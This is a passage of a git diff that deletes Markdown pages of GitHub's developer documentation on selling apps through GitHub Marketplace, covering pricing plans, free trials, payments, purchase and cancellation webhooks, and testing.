reusables.marketplace.free-plan-note %} - -## Types of pricing plans - -### Free pricing plans - -{% data reusables.marketplace.free-apps-encouraged %} - -Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing. - -All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding. - -### Paid pricing plans - -There are two types of paid pricing plan: - -* Flat rate pricing plans charge a set fee on a monthly and yearly basis. - -* Per-unit pricing plans charge a set fee on either a monthly or yearly basis for each user in an organization. - -You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans. - -## Free trials - -Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. - -Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. - -For more information, see: [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials). - -> [!NOTE] -> GitHub expects you to delete any private customer data within 30 days of a canceled trial, beginning at the receipt of the cancellation event. diff --git a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/content/apps/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md deleted file mode 100644 index 08e1bff9ddc2..000000000000 --- a/content/apps/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Receiving payment for app purchases -intro: 'At the end of each month, you''ll receive payment for your {% data variables.product.prodname_marketplace %} listing.' -redirect_from: - - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing - - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing - - /apps/marketplace/pricing-payments-and-free-trials/receiving-payment-for-a-github-marketplace-listing - - /apps/marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings - - /marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings - - /developers/github-marketplace/receiving-payment-for-app-purchases - - /developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases - - /apps/publishing-apps-to-github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Receive payment ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -After your {% data variables.product.prodname_marketplace %} listing for an app with a paid plan is created and approved, you'll provide payment details to {% data variables.product.company_short %} as part of the financial onboarding process. - -Once your revenue reaches a minimum of 500 US dollars for the month, you'll receive an electronic payment from {% data variables.product.company_short %} at the end of the following month. This will be the income from marketplace transactions minus the amount charged by {% data variables.product.company_short %} to cover their running costs. - -For transactions made before January 1, 2021, {% data variables.product.company_short %} retains 25% of transaction income. For transactions made after that date, only 5% is retained by {% data variables.product.company_short %}. This change will be reflected in payments received from the end of January 2021 onward. - -> [!NOTE] -> For details of the current pricing and payment terms, see [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-marketplace-developer-agreement). diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md deleted file mode 100644 index 0918e7f6a85b..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Handling new purchases and free trials -intro: 'When a customer purchases a paid plan, free trial, or the free version of your {% data variables.product.prodname_marketplace %} app, you''ll receive the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `purchased` action, which kicks off the purchasing flow.' -redirect_from: - - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps - - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps - - /apps/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials - - /marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials - - /developers/github-marketplace/handling-new-purchases-and-free-trials - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: New purchases & free trials ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -> [!WARNING] -> If you offer a {% data variables.product.prodname_github_app %} in {% data variables.product.prodname_marketplace %}, your app must identify users following the OAuth authorization flow. You don't need to set up a separate {% data variables.product.prodname_oauth_app %} to support this flow. See [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user) for more information. - -## Step 1. Initial purchase and webhook event - -Before a customer purchases your {% data variables.product.prodname_marketplace %} app, they select a [listing plan](/apps/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps). They also choose whether to purchase the app from their personal account or an organization account. - -The customer completes the purchase by clicking **Complete order and begin installation**. - -{% data variables.product.github %} then sends the [`marketplace_purchase`](/webhooks/webhook-events-and-payloads#marketplace_purchase) webhook with the `purchased` action to your app. - -Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. - -If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations). See [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes) to find out how to transition a free trial to a paid plan when a free trial expires. - -See [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api) for an example of the `marketplace_purchase` event payload. - -## Step 2. Installation - -If your app is a {% data variables.product.prodname_github_app %}, {% data variables.product.github %} prompts the customer to select which repositories the app can access when they purchase it. {% data variables.product.github %} then installs the app on the account the customer selected and grants access to the selected repositories. - -At this point, if you specified a **Setup URL** in your {% data variables.product.prodname_github_app %} settings, {% data variables.product.github %} will redirect the customer to that URL. If you do not specify a setup URL, you will not be able to handle purchases of your {% data variables.product.prodname_github_app %}. - -> [!NOTE] -> The **Setup URL** is described as optional in {% data variables.product.prodname_github_app %} settings, but it is a required field if you want to offer your app in {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/registering-a-github-app/about-the-setup-url). - -If your app is an {% data variables.product.prodname_oauth_app %}, {% data variables.product.github %} does not install it anywhere. Instead, {% data variables.product.github %} redirects the customer to the **Installation URL** you specified in your [{% data variables.product.prodname_marketplace %} listing](/apps/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app#listing-urls). - -When a customer purchases an {% data variables.product.prodname_oauth_app %}, {% data variables.product.github %} redirects the customer to the URL you choose (either Setup URL or Installation URL) and the URL includes the customer's selected pricing plan as a query parameter: `marketplace_listing_plan_id`. - -## Step 3. Authorization - -When a customer purchases your app, you must send the customer through the OAuth authorization flow: - -* If your app is a {% data variables.product.prodname_github_app %}, begin the authorization flow as soon as {% data variables.product.github %} redirects the customer to the **Setup URL**. Follow the steps in [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user). - -* If your app is an {% data variables.product.prodname_oauth_app %}, begin the authorization flow as soon as {% data variables.product.github %} redirects the customer to the **Installation URL**. Follow the steps in [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps). - -For either type of app, the first step is to redirect the customer to [https://github.com/login/oauth/authorize](https://github.com/login/oauth/authorize). - -After the customer completes the authorization, your app receives an OAuth access token for the customer. You'll need this token for the next step. - -> [!NOTE] -> When authorizing a customer on a free trial, grant them the same access they would have on the paid plan. You'll move them to the paid plan after the trial period ends. - -## Step 4. Provisioning customer accounts - -Your app must provision a customer account for all new purchases. Using the access token you received for the customer in [Step 3. Authorization](#step-3-authorization), call the [`GET /user/marketplace_purchases`](/rest/apps/marketplace#list-subscriptions-for-the-authenticated-user) endpoint. The response will include the customer's `account` information and show whether they are on a free trial (`on_free_trial`). Use this information to complete setup and provisioning. - -{% data reusables.marketplace.marketplace-double-purchases %} - -If the purchase is for an organization and per-user, you can prompt the customer to choose which organization members will have access to the purchased app. - -You can customize the way that organization members receive access to your app. Here are a few suggestions: - -**Flat-rate pricing:** If the purchase is made for an organization using flat-rate pricing, your app can [get all the organization’s members](/rest/orgs/members#list-organization-members) via the API and prompt the organization owner to choose which members will have paid users on the integrator side. - -**Per-unit pricing:** One method of provisioning per-unit seats is to allow users to occupy a seat as they log in to the app. Once the customer hits the seat count threshold, your app can alert the user that they need to upgrade through {% data variables.product.prodname_marketplace %}. diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md deleted file mode 100644 index 4bcb73988bc0..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Handling plan cancellations -intro: 'Cancelling a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `cancelled` action, which kicks off the cancellation flow.' -redirect_from: - - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans - - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans - - /marketplace/integrating-with-the-github-marketplace-api/cancelling-plans - - /developers/github-marketplace/handling-plan-cancellations - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Plan cancellations ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -For more information about cancelling as it relates to billing, see [AUTOTITLE](/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers). - -## Step 1. Cancellation event - -If a customer chooses to cancel a {% data variables.product.prodname_marketplace %} order, GitHub sends a [`marketplace_purchase`](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api) webhook with the action `cancelled` to your app when the cancellation takes effect. If the customer cancels during a free trial, your app will receive the event immediately. When a customer cancels a paid plan, the cancellation will occur at the end of the customer's billing cycle. - -## Step 2. Deactivating customer accounts - -When a customer cancels a free or paid plan, your app must perform these steps to complete cancellation: - -1. Deactivate the account of the customer who canceled their plan. -1. Revoke the OAuth token your app received for the customer. -1. If your app is an {% data variables.product.prodname_oauth_app %}, remove all webhooks your app created for repositories. -1. Remove all customer data within 30 days of receiving the `cancelled` event. - -> [!NOTE] -> We recommend using the [`marketplace_purchase`](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api) webhook's `effective_date` to determine when a plan change will occur and periodically synchronizing the [List accounts for a plan](/rest/apps/marketplace#list-accounts-for-a-plan). For more information on webhooks, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api). diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md deleted file mode 100644 index 64e65a70059d..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Handling plan changes -intro: 'Upgrading or downgrading a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the `changed` action, which kicks off the upgrade or downgrade flow.' -redirect_from: - - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans - - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans - - /marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans - - /developers/github-marketplace/handling-plan-changes - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -For more information about upgrading and downgrading as it relates to billing, see [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -## Step 1. Pricing plan change event - -GitHub send the `marketplace_purchase` webhook with the `changed` action to your app, when a customer makes any of these changes to their {% data variables.product.prodname_marketplace %} order: -* Upgrades to a more expensive pricing plan or downgrades to a lower priced plan. -* Adds or removes seats to their existing plan. -* Changes the billing cycle. - -GitHub will send the webhook when the change takes effect. For example, when a customer downgrades a plan, GitHub sends the webhook at the end of the customer's billing cycle. GitHub sends a webhook to your app immediately when a customer upgrades their plan to allow them access to the new service right away. If a customer switches from a monthly to a yearly billing cycle, it's considered an upgrade. See [AUTOTITLE](/apps/github-marketplace/selling-your-app-on-github-marketplace/billing-customers) to learn more about what actions are considered an upgrade or downgrade. - -Read the `effective_date`, `marketplace_purchase`, and `previous_marketplace_purchase` from the `marketplace_purchase` webhook to update the plan's start date and make changes to the customer's billing cycle and pricing plan. See [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api) for an example of the `marketplace_purchase` event payload. - -If your app offers free trials, you'll receive the `marketplace_purchase` webhook with the `changed` action when the free trial expires. If the customer's free trial expires, upgrade the customer to the paid version of the free-trial plan. - -## Step 2. Updating customer accounts - -You'll need to update the customer's account information to reflect the billing cycle and pricing plan changes the customer made to their {% data variables.product.prodname_marketplace %} order. Display upgrades to the pricing plan, `seat_count` (for per-unit pricing plans), and billing cycle on your Marketplace app's website or your app's UI when you receive the `changed` action webhook. - -When a customer downgrades a plan, it's recommended to review whether a customer has exceeded their plan limits and engage with them directly in your UI or by reaching out to them by phone or email. - -To encourage people to upgrade you can display an upgrade URL in your app's UI. See [About upgrade URLs](#about-upgrade-urls) for more details. - -> [!NOTE] -> We recommend performing a periodic synchronization using `GET /marketplace_listing/plans/:id/accounts` to ensure your app has the correct plan, billing cycle information, and unit count (for per-unit pricing) for each account. - -## Failed upgrade payments - -{% data reusables.marketplace.marketplace-failed-purchase-event %} - -## About upgrade URLs - -You can redirect users from your app's UI to upgrade on GitHub using an upgrade URL: - -```text -https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID> -``` - -For example, if you notice that a customer is on a 5 person plan and needs to move to a 10 person plan, you could display a button in your app's UI that says "Here's how to upgrade" or show a banner with a link to the upgrade URL. The upgrade URL takes the customer to your listing plan's upgrade confirmation page. - -Use the `LISTING_PLAN_NUMBER` for the plan the customer would like to purchase. When you create new pricing plans they receive a `LISTING_PLAN_NUMBER`, which is unique to each plan across your listing, and a `LISTING_PLAN_ID`, which is unique to each plan in the {% data variables.product.prodname_marketplace %}. You can find these numbers when you [List plans](/rest/apps#list-plans), which identifies your listing's pricing plans. Use the `LISTING_PLAN_ID` and the [`GET /marketplace_listing/plans/{plan_id}/accounts`](/rest/apps/marketplace#list-accounts-for-a-plan) endpoint to get the `CUSTOMER_ACCOUNT_ID`. - -> [!NOTE] -> If your customer upgrades to additional units (such as seats), you can still send them to the appropriate plan for their purchase, but we are unable to support `unit_count` parameters at this time. diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md deleted file mode 100644 index 1c64c8972b3b..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Using the GitHub Marketplace API in your app -intro: 'Learn how to integrate the {% data variables.product.prodname_marketplace %} API and webhook events into your app for the {% data variables.product.prodname_marketplace %} .' -redirect_from: - - /apps/marketplace/setting-up-github-marketplace-webhooks - - /apps/marketplace/integrating-with-the-github-marketplace-api - - /marketplace/integrating-with-the-github-marketplace-api - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -children: - - /rest-endpoints-for-the-github-marketplace-api - - /webhook-events-for-the-github-marketplace-api - - /testing-your-app - - /handling-new-purchases-and-free-trials - - /handling-plan-changes - - /handling-plan-cancellations -shortTitle: Marketplace API usage ---- - diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md deleted file mode 100644 index 41c94e246838..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: REST endpoints for the GitHub Marketplace API -intro: 'To help manage your app on {% data variables.product.prodname_marketplace %}, use these {% data variables.product.prodname_marketplace %} API endpoints.' -redirect_from: - - /apps/marketplace/github-marketplace-api-endpoints - - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints - - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints - - /developers/github-marketplace/rest-endpoints-for-the-github-marketplace-api - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: REST API ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -Here are some useful endpoints available for Marketplace listings: - -* [List plans](/rest/apps/marketplace#list-plans) -* [List accounts for a plan](/rest/apps/marketplace#list-accounts-for-a-plan) -* [Get a subscription plan for an account](/rest/apps/marketplace#get-a-subscription-plan-for-an-account) -* [List subscriptions for the authenticated user](/rest/apps/marketplace#list-subscriptions-for-the-authenticated-user) - -See these pages for details on how to authenticate when using the {% data variables.product.prodname_marketplace %} API: - -* [Authorization options for {% data variables.product.prodname_oauth_apps %}](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps) -* [Authentication options for {% data variables.product.prodname_github_apps %}](/apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app) - -> [!NOTE] -> [Rate limits for the REST API](/rest/using-the-rest-api/rate-limits-for-the-rest-api) apply to all {% data variables.product.prodname_marketplace %} API endpoints. diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md deleted file mode 100644 index b79ede540a7f..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Testing your app -intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' -redirect_from: - - /apps/marketplace/testing-apps-apis-and-webhooks - - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps - - /marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps - - /developers/github-marketplace/testing-your-app - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -## Testing apps - -You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. Note that you can only simulate purchases for plans published in the draft listing and not for draft plans. For more information, see [AUTOTITLE](/apps/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app) and [AUTOTITLE](/apps/github-marketplace/using-the-github-marketplace-api-in-your-app). - -### Using a development app with a draft listing to test changes - -A {% data variables.product.prodname_marketplace %} listing can only be associated with a single app registration, and each app can only access its own {% data variables.product.prodname_marketplace %} listing. For these reasons, we recommend configuring a separate development app, with the same configuration as your production app, and creating a draft {% data variables.product.prodname_marketplace %} listing that you can use for testing. The draft {% data variables.product.prodname_marketplace %} listing allows you to test changes without affecting the active users of your production app. You will never have to submit your development {% data variables.product.prodname_marketplace %} listing, since you will only use it for testing. - -Because you can only create draft {% data variables.product.prodname_marketplace %} listings for public apps, you must make your development app public. Public apps are not discoverable outside of published {% data variables.product.prodname_marketplace %} listings as long as you don't share the app's URL. A Marketplace listing in the draft state is only visible to the app's owner. - -Once you have a development app with a draft listing, you can use it to test changes you make to your app while integrating with the {% data variables.product.prodname_marketplace %} API and webhooks. - -> [!WARNING] -> Do not make test purchases with an app that is live in {% data variables.product.prodname_marketplace %}. - -### Simulating Marketplace purchase events - -Your testing scenarios may require setting up listing plans that offer free trials and switching between free and paid subscriptions. Because downgrades and cancellations don't take effect until the next billing cycle, {% data variables.product.company_short %} provides a developer-only feature to "Apply Pending Change" to force `changed` and `cancelled` plan actions to take effect immediately. You can access **Apply Pending Change** for apps with draft Marketplace listings in https://github.com/settings/billing#pending-cycle: - -## Testing APIs - -For most {% data variables.product.prodname_marketplace %} API endpoints, we also provide stubbed API endpoints that return hard-coded, fake data you can use for testing. To receive stubbed data, you must specify stubbed URLs, which include `/stubbed` in the route (for example, `/user/marketplace_purchases/stubbed`). For a list of endpoints that support this stubbed-data approach, see [{% data variables.product.prodname_marketplace %} endpoints](/rest/apps#github-marketplace). - -## Testing webhooks - -GitHub provides tools for testing your deployed payloads. For more information, see [AUTOTITLE](/webhooks/testing-and-troubleshooting-webhooks/testing-webhooks). diff --git a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md deleted file mode 100644 index 179dee0dc725..000000000000 --- a/content/apps/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Webhook events for the GitHub Marketplace API -intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' -redirect_from: - - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing - - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events - - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events - - /developers/github-marketplace/webhook-events-for-the-github-marketplace-api - - /developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api - - /apps/publishing-apps-to-github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api -versions: - fpt: '*' - ghec: '*' -topics: - - Marketplace -shortTitle: Webhook events ---- - -{% data reusables.marketplace.marketplace-apps-not-actions %} - -For more information about the {% data variables.product.prodname_marketplace %} webhook payload, see [AUTOTITLE](/webhooks/webhook-events-and-payloads#marketplace_purchase). - -Webhooks `POST` requests have special headers. See [AUTOTITLE](/webhooks/webhook-events-and-payloads#delivery-headers) for more details. GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub. For information about how to create and disable {% data variables.product.prodname_marketplace %} webhooks, see [AUTOTITLE](/webhooks/using-webhooks/creating-webhooks) and [AUTOTITLE](/webhooks/using-webhooks/disabling-webhooks). - -Cancellations and downgrades take effect on the first day of the next billing cycle. Events for downgrades and cancellations are sent when the new plan takes effect at the beginning of the next billing cycle. Events for new purchases and upgrades begin immediately. Use the `effective_date` in the webhook payload to determine when a change will begin. - -{% data reusables.marketplace.marketplace-malicious-behavior %} diff --git a/content/apps/index.md b/content/apps/index.md deleted file mode 100644 index a68a1508abb4..000000000000 --- a/content/apps/index.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: GitHub Apps documentation -shortTitle: Apps -intro: 'Go deeper with {% data variables.product.prodname_dotcom %} by integrating with our APIs and webhooks, customizing your {% data variables.product.prodname_dotcom %} workflow, and building and sharing apps with the community.' -introLinks: - overview: /apps/overview - quickstart: /apps/creating-github-apps/writing-code-for-a-github-app/quickstart -layout: product-landing -featuredLinks: - startHere: - - /apps/using-github-apps/about-using-github-apps - - /apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps - - /apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps - - /apps/creating-github-apps/authenticating-with-a-github-app/about-authentication-with-a-github-app - popular: - - /apps/creating-github-apps/registering-a-github-app/registering-a-github-app - - /apps/using-github-apps/authorizing-github-apps - - /apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events - - /apps/creating-github-apps/writing-code-for-a-github-app/building-a-login-with-github-button-with-a-github-app - - /apps/creating-github-apps/writing-code-for-a-github-app/building-a-cli-with-a-github-app - - /apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow - guideCards: - - /apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events - - /apps/creating-github-apps/writing-code-for-a-github-app/building-a-login-with-github-button-with-a-github-app - - /apps/creating-github-apps/writing-code-for-a-github-app/building-a-cli-with-a-github-app - - /apps/creating-github-apps/authenticating-with-a-github-app/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow -changelog: - label: apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -children: - - /overview - - /using-github-apps - - /creating-github-apps - - /sharing-github-apps - - /maintaining-github-apps - - /github-marketplace - - /oauth-apps -redirect_from: - - /developers - - /developers/apps/getting-started-with-apps - - /early-access/integrations - - /early-access/integrations/authentication - - /early-access/integrations/install-an-integration - - /apps/adding-integrations - - /apps/building-integrations/setting-up-a-new-integration/about-integrations - - /v3/integrations - - /developers/apps ---- - diff --git a/content/apps/maintaining-github-apps/about-github-app-managers.md b/content/apps/maintaining-github-apps/about-github-app-managers.md deleted file mode 100644 index 8f0a35d1788d..000000000000 --- a/content/apps/maintaining-github-apps/about-github-app-managers.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: About GitHub App managers -intro: 'Organization owners can grant or revoke access for a user to manage some or all of the {% data variables.product.prodname_github_app %} registrations owned by the organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams - - GitHub Apps -shortTitle: GitHub App managers ---- - -{% data reusables.apps.github-app-managers %} For more information about how to designate someone as a {% data variables.product.prodname_github_app %} manager, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/adding-and-removing-github-app-managers-in-your-organization). diff --git a/content/apps/maintaining-github-apps/activating-optional-features-for-github-apps.md b/content/apps/maintaining-github-apps/activating-optional-features-for-github-apps.md deleted file mode 100644 index e404e43867fc..000000000000 --- a/content/apps/maintaining-github-apps/activating-optional-features-for-github-apps.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Activating optional features for GitHub Apps -intro: 'You can test new optional features for your {% data variables.product.prodname_github_apps %}.' -redirect_from: - - /developers/apps/activating-beta-features-for-apps - - /developers/apps/activating-optional-features-for-apps - - /developers/apps/getting-started-with-apps/activating-optional-features-for-apps - - /apps/maintaining-github-apps/activating-optional-features-for-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps -shortTitle: Activate optional features ---- - -> [!WARNING] -> Optional features are subject to change. - -## Activating optional features for {% data variables.product.prodname_github_apps %} - -{% data reusables.apps.settings-step %} -{% data reusables.user-settings.developer_settings %} -1. Click **Edit** next to the {% data variables.product.prodname_github_app %} you want to enable an optional feature for. -{% data reusables.apps.optional_feature_activation %} - -## Further reading - -* [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app) diff --git a/content/apps/maintaining-github-apps/deleting-a-github-app.md b/content/apps/maintaining-github-apps/deleting-a-github-app.md deleted file mode 100644 index 5077cd4355a3..000000000000 --- a/content/apps/maintaining-github-apps/deleting-a-github-app.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Deleting a GitHub App 